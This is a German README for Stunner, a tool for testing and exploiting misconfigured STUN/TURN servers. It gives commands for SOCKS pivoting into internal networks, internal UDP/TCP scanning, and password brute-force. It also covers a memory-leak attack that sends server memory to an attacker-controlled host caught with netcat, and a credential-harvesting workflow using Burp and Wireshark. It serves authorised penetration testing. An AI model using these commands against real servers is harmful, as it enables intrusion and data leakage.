
Testen und Ausnutzen von STUN/TURN-Servern auf Fehlkonfigurationen, die das Pivoting im internen Netzwerk über SOCKS-Proxy, Memory-Leak-Angriffe und das Scannen interner Ports ermöglichen.
Stunner ist ein Werkzeug zum Testen und Ausnutzen von STUN-, TURN- und TURN-over-TCP-Servern. TURN ist ein Protokoll, das hauptsächlich in Videokonferenzen und Audio-Chats (WebRTC) verwendet wird.
Wenn Sie einen fehlkonfigurierten Server finden, können Sie dieses Tool verwenden, um einen lokalen Socks-Proxy zu öffnen, der den gesamten Datenverkehr über das TURN-Protokoll in das interne Netzwerk hinter dem Server weiterleitet.
Ich habe dieses Tool während eines Tests von Cisco Expressway entwickelt, der zu einigen Schwachstellen führte: https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/
Um den erforderlichen Benutzernamen und das Passwort zu erhalten, müssen Sie diese mit einer Out-of-Band-Methode abrufen, z. B. durch Abhören der Connect-Anfrage eines Webbrowsers mit Burp. Am Ende der Readme habe ich einen Beispiel-Workflow hinzugefügt, der zeigt, wie man einen solchen Server testen würde.
Dieses Werk ist lizenziert unter der Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. Um eine Kopie dieser Lizenz einzusehen, besuchen Sie http://creativecommons.org/licenses/by-nc-sa/4.0/ oder senden Sie einen Brief an Creative Commons, PO Box 1866, Mountain View, CA 94042, USA.
STUN: RFC 5389
TURN: RFC 5766
TURN for TCP: RFC 6062
TURN Extension for IPv6: RFC 6156
Dieser Befehl gibt einige Informationen über den STUN- oder TURN-Server aus, wie unterstützte Protokolle und Attribute wie die verwendete Software.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--timeout value connect timeout to turn server (default: 1s)
--help, -h show help (default: false)
./stunner info -s x.x.x.x:443
Dieser Befehl testet mehrere private und eingeschränkte Bereiche, um zu sehen, ob der TURN-Server so konfiguriert ist, dass Verbindungen zu den angegebenen IP-Adressen erlaubt sind. Wenn ein bestimmter Bereich nicht verboten ist, können Sie diesen Bereich mit den anderen bereitgestellten Befehlen weiter aufzählen. Wenn eine IP erreichbar ist, bedeutet dies, dass der TURN-Server Datenverkehr an diese IP weiterleitet.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
TCP-basierte TURN-Verbindung (Verbindung von Ihnen zum TURN-Server):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp
UDP-basierte TURN-Verbindung (Verbindung von Ihnen zum TURN-Server):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp
Dies ist einer der nützlichsten Befehle für TURN-Server, die TCP-Verbindungen zu Backend-Servern unterstützen. Er startet einen lokalen SOCKS5-Server ohne Authentifizierung und leitet den gesamten TCP-Datenverkehr über das TURN-Protokoll weiter (UDP über SOCKS wird derzeit nicht unterstützt). Wenn der Server fehlkonfiguriert ist, leitet er den Datenverkehr an interne Adressen weiter, sodass dies genutzt werden kann, um interne Systeme zu erreichen und den Server als Proxy in das interne Netzwerk zu missbrauchen. Wenn Sie sich dafür entscheiden, auch DNS-Abfragen über SOCKS durchzuführen, werden diese über Ihren lokalen Nameserver aufgelöst. Daher ist es am besten, mit privaten IPv4- und IPv6-Adressen zu arbeiten. Bitte beachten Sie, dass dieses Modul nur TCP-Datenverkehr weiterleiten kann.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--listen value, -l value Address and port to listen on (default: "127.0.0.1:1080")
--drop-public, -x Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true)
--help, -h show help (default: false)
./stunner socks -s x.x.x.x:3478 -u username -p password -x
Nach dem Start des Proxys öffnen Sie Ihren Browser, stellen Sie in den Einstellungen den Proxy auf SOCKS5 mit der IP 127.0.0.1:1080 (stellen Sie sicher, dass Sie die Option „Lokale Adressen umgehen“ nicht aktivieren, da wir die entfernten lokalen Adressen erreichen möchten) und rufen Sie die gewünschte IP im Browser auf.
Beispiel: https://127.0.0.1, https://127.0.0.1:8443 oder https://[::1]:8443 (diese rufen die Ports auf dem getesteten TURN-Server von den lokalen Schnittstellen aus auf).
Sie können auch proxychains konfigurieren, um diesen Proxy zu verwenden (es wird jedoch sehr langsam sein, da jede Anfrage mehrere Anfragen zur Aktivierung des Proxys auslöst). Bearbeiten Sie einfach /etc/proxychains.conf und fügen Sie den Wert socks5 127.0.0.1 1080 unter ProxyList ein.
Beispiel für nmap über diesen SOCKS5-Proxy mit korrekt konfiguriertem proxychains (beachten Sie -sT für TCP-Syn, da sonst der SOCKS5-Proxy nicht verwendet wird)
sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1
Dies wird höchstwahrscheinlich keine brauchbaren Informationen liefern, kann aber nützlich sein, um alle verfügbaren Transporte (= Protokolle zu internen Systemen) aufzulisten, die vom Server unterstützt werden. Dies könnte einige benutzerdefinierte Protokollimplementierungen anzeigen, wird aber meistens nur die Standardwerte zurückgeben.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
./stunner brute-transports -s x.x.x.x:3478 -u username -p password
Dieser Befehl testet alle Passwörter aus einer angegebenen Datei für einen Benutzernamen über das TURN-Protokoll (UDP). Dies kann nützlich sein, wenn Sie einen PCAP analysieren, in dem Sie den Benutzernamen, aber nicht das Passwort sehen können. Bitte beachten Sie, dass ein Offline-Brute-Force in diesem Fall viel schneller ist.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--passfile value, -p value passwordfile to use for bruteforce
--help, -h show help (default: false)
./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt
Dieser Angriff funktioniert wie folgt:
Der Server nimmt die an das target zu sendenden Daten (muss in den meisten Fällen ein hoher Port > 1024 sein) als TLV (Type Length Value) entgegen.
Dieser Exploit verwendet eine große Länge mit einem kurzen Wert. Wenn der Server die Grenzen des TLV nicht überprüft, könnte er Ihnen Speicher bis zur angegebenen length an das target senden. Cisco Expressway war nachweislich anfällig für diesen Exploit, aber laut Cisco wurde nur Speicher der aktuellen Sitzung preisgegeben.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--target value, -t value Target to leak memory to in the form host:port. Should be a public server under your control
--size value Size of the buffer to leak (default: 35510)
--help, -h show help (default: false)
Um die Daten zu empfangen, müssen wir einen Empfänger auf einem Server mit einer öffentlichen IP einrichten. Normalerweise sind Firewalls so konfiguriert, dass sie nur hohe Ports (>1024) von TURN-Servern zulassen. Stellen Sie daher sicher, dass Sie in diesem Beispiel einen hohen Port wie 8080 verwenden, wenn Sie eine Verbindung ins Internet herstellen.
sudo nc -u -l -n -v -p 8080 | hexdump -C
Führen Sie dann die folgende Anweisung auf Ihrem Rechner aus und fügen Sie die öffentliche IP zum Parameter t hinzu
./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password
Wenn es funktioniert, sollten Sie große Mengen an eingehendem Speicher sehen, ansonsten sehen Sie nur kurze Nachrichten.
Wenn ein TURN-Server UDP-Verbindungen zu internen Zielen zulässt, kann dieser Scanner verwendet werden, um alle privaten IP-Bereiche zu scannen und ihnen SNMP- und DNS-Anfragen zu senden. Da dies eine große Anzahl von IPs überprüft, kann die Durchführung mehrere Tage dauern. Gehen Sie daher vorsichtig vor oder geben Sie über die Parameter kleinere Ziele an. Sie müssen eine SNMP-Community-String angeben, der getestet wird, und einen Domainnamen, der auf jeder IP aufgelöst wird. Für den Domainnamen können Sie zum Beispiel Burp Collaborator verwenden.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--community-string value SNMP community string to use for scanning (default: "public")
--domain value domain name to resolve on internal DNS servers during scanning
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8 --domain domain.you.control.com --community-string public
Gleiches wie udp-scanner, sendet jedoch HTTP-Anfragen an die angegebenen Ports (HTTPS wird nicht unterstützt)
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--ports value Ports to check (default: "80,443,8080,8081")
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8
Angenommen, Sie finden einen Dienst, der WebRTC verwendet, und möchten ihn testen.
Der erste Schritt besteht darin, die erforderlichen Daten zu sammeln. Ich empfehle, Wireshark im Hintergrund zu starten und einfach über Burp an einem Meeting teilzunehmen, um den gesamten HTTP- und WebSocket-Datenverkehr zu erfassen. Durchsuchen Sie dann Ihren Burp-Verlauf nach einigen Schlüsselwörtern im Zusammenhang mit TURN, wie 3478, password, credential und username (überprüfen Sie auch den WebSocket-Tab auf diese Schlüsselwörter). Dadurch werden möglicherweise der TURN-Server, das Protokoll (UDP- und TCP-Endpunkte können unterschiedliche Ports haben) und die für die Verbindung verwendeten Anmeldeinformationen angezeigt. Wenn Sie die Daten in Burp nicht finden können, beginnen Sie mit der Suche in Wireshark, um den Datenverkehr zu identifizieren. Wenn es sich um einen nicht standardmäßigen Port (anders als 3478) handelt, dekodieren Sie das Protokoll in Wireshark über einen Rechtsklick als STUN. Dies sollte Ihnen den für die Verbindung verwendeten Benutzernamen anzeigen, und Sie können diese Informationen verwenden, um den Burp-Verlauf weiter nach den erforderlichen Daten zu durchsuchen. Bitte beachten Sie, dass Wireshark das Passwort nicht anzeigen kann, da das Passwort zum Hashen einiger Paketinhalte verwendet wird und daher nicht umgekehrt werden kann.
Der nächste Schritt wäre, den Befehl info an den TURN-Server mit dem korrekten Port und Protokoll aus Burp auszugeben.
Wenn dies funktioniert, ist der nächste Schritt ein range-scan. Wenn dieser Datenverkehr zu internen Systemen zulässt, können Sie dies weiter ausnutzen, aber beachten Sie, dass UDP nur begrenzte Anwendungsmöglichkeiten hat.
Wenn TCP-Verbindungen zu internen Systemen erlaubt sind, starten Sie einfach den Befehl socks und greifen Sie über einen Browser auf die erlaubten IPs zu, indem Sie den SOCKS-Proxy auf 127.0.0.1:1080 setzen. Sie können 127.0.0.1:443 und andere IPs ausprobieren, um Verwaltungsoberflächen zu finden.